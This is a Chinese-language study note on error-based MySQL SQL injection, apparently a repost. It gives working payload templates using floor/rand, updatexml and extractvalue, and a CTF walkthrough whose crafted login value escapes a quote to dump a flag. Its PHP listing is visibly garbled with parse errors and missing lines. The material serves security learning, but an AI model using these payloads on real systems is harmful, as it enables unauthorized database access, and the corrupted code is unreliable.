sqlmap报错注入
0x00 背景
學(xué)習(xí)記錄一下報錯型的注入,經(jīng)各方整理和自己總結(jié)形成。
所有的注入原理都是一樣,即用戶輸入被拼接執(zhí)行。但后臺數(shù)據(jù)庫執(zhí)行語句產(chǎn)生錯誤并回顯到頁面時即可能存在報錯注入。
0x01概念
報錯型注入的利用大概有以下3種方式:
復(fù)制代碼
1:?id=2’ and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (查詢語句))
from information_schema.tables limit 0,1))x from information_schema.tables group by x )a )–+
2:?id=2’ and updatexml(1,concat(0x7e,(SELECT 查詢語句),0x7e),1)–+
3:?id=1’ and extractvalue(1, concat(0x7e, (select 查詢語句),0x7e))–+
復(fù)制代碼
對于1的分析:
復(fù)制代碼
floor()是取整數(shù) rand(0)*2將取0到2的隨機(jī)數(shù)
floor(rand()2)有兩條記錄就會報錯
floor(rand(0)2)記錄需為3條以上,且3條以上必報錯,返回的值是有規(guī)律的
count()是用來統(tǒng)計結(jié)果的,相當(dāng)于刷新一次結(jié)果
group by 對數(shù)據(jù)分組時會先看看虛擬表里有沒有這個值,若沒有就插入,若存在則count()加1
group by 時floor(rand(0)*2)會被執(zhí)行一次,若虛表不存在記錄,插入虛表時會再執(zhí)行一次
對于count()、rand()、group by 三者同時存在為什么會報錯可以參考烏云tsafe的文章
復(fù)制代碼
對于2的分析:
復(fù)制代碼
函數(shù)的形式為:UPDATEXML (XML_document, XPath_string, new_value);、
第一個參數(shù):XML_document是String格式,為XML文檔對象的名稱,文中為Doc
第二個參數(shù):XPath_string (Xpath格式的字符串) ,
第三個參數(shù):new_value,String格式,替換查找到的符合條件的數(shù)據(jù)
作用:改變文檔中符合條件的節(jié)點的值,即改變XML_document中符合XPATH_string的值
而我們的注入語句為:updatexml(1,concat(0x7e,(SELECT 查詢語句),0x7e),1)
concat()函數(shù)是將其參數(shù)連成一個字符串,因此不會符合XPATH_string的格式,從而出現(xiàn)格式錯誤導(dǎo)致錯誤信息返回。
復(fù)制代碼
對于3的分析:
復(fù)制代碼
EXTRACTVALUE (XML_document, XPath_string);
第一個參數(shù):XML_document是String格式,為XML文檔對象的名稱
第二個參數(shù):XPath_string (Xpath格式的字符串).
作用:從目標(biāo)XML中返回包含所查詢值的字符串
而我們的注入語句為:extractvalue(1, concat(0x7e, (select 查詢語句),0x7e))
同2一樣因為不符合XPATH_string的格式所以會報錯
復(fù)制代碼
0x03 實踐
以sqli lab作為測試
?id=1’時:
?id=1’%23時:
帶入上面的payload:
可以看到通過xmlupdate成功通過報錯信息將數(shù)據(jù)庫名顯示出來了,接下來再依次按照求表、列的步驟進(jìn)行
0x04 CTF實例
i春秋百度杯十月VId
這里省略信息收集,直接到SQL注入的部分
這里只有一個登錄框,貼出源代碼:
復(fù)制代碼
1 <?php
2
3 require_once ‘dbmysql.class.php’;
4 require_once ‘config.inc.php’;
5
6 if(isset(KaTeX parse error: Expected 'EOF', got '&' at position 20: …T['username']) &?& isset(_POST[‘password’]) && isset($_POST[‘number’])){
7 $db = new mysql_db();
8 $username = db?>safedata(db->safe_data(db?>safed?ata(_POST[‘username’]);
9 $password = db?>mymd5(db->my_md5(db?>mym?d5(_POST[‘password’]);
10 number=isnumeric(number = is_numeric(number=isn?umeric(_POST[‘number’]) ? $_POST[‘number’] : 1;
11
12 username=trim(strreplace(username = trim(str_replace(username=trim(strr?eplace(number, ‘’, $username));
13
14 sql="select?from"."‘".tablename."‘"."whereusername="."′"."sql = "select * from"."`".table_name."`"."where username="."'"."sql="select?from"."‘".tablen?ame."‘"."whereusername="."′"."username"."’";
15 $row = db?>query(db->query(db?>query(sql);
16 $result = db?>fetcharray(db->fetch_array(db?>fetcha?rray(row);
17 if(KaTeX parse error: Expected '}', got 'EOF' at end of input: … 18 if(result[“number”] === $number && $result[“password”] === $password){
19 echo “";
40 }
41 ?>
復(fù)制代碼
safe_data()定義:
1 public function safe_data(KaTeX parse error: Expected '}', got 'EOF' at end of input: … stripcslashes(value);
4 }
5 return addslashes($value);
6 }
username在被傳入之后首先被safe_data()轉(zhuǎn)義,再被str_replace()處理去掉里面包含的number數(shù)字和空格,最后執(zhí)行sql查詢。在這里sql查詢語句雖然也有拼接輸入,但是需要閉合掉單引號。可是username在一開始加上單引號的話在被傳入的時候就會被加上反斜杠。
讀了i春秋論壇的writeup才明白可以這樣構(gòu)造:
Number=0&username=test%00’%23
Username經(jīng)過轉(zhuǎn)義變成test\0\’%23
然后替換操作 變成 test\’%23
單引號逃逸出去,同時因為用了trim所以不能使用空格來分割字段,可以使用+來連接。
最后構(gòu)造的username為:
username=admin%00’+and+updatexml(1,concat(1,(select+*+from+flag+limit+1),1),1)%23
這里只能獲取32位長度,要想獲取完整的flag還需使用substr函數(shù)
0x05總結(jié)
這里只用了updatexml作為例子,其余2個原理都是一樣的。
同時對于sqli lab的練習(xí)使用這一類注入手工速度很慢,接下來可以考慮寫一個自動化的腳本。
與50位技術(shù)專家面對面20年技術(shù)見證,附贈技術(shù)全景圖總結(jié)
以上是生活随笔為你收集整理的sqlmap报错注入的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。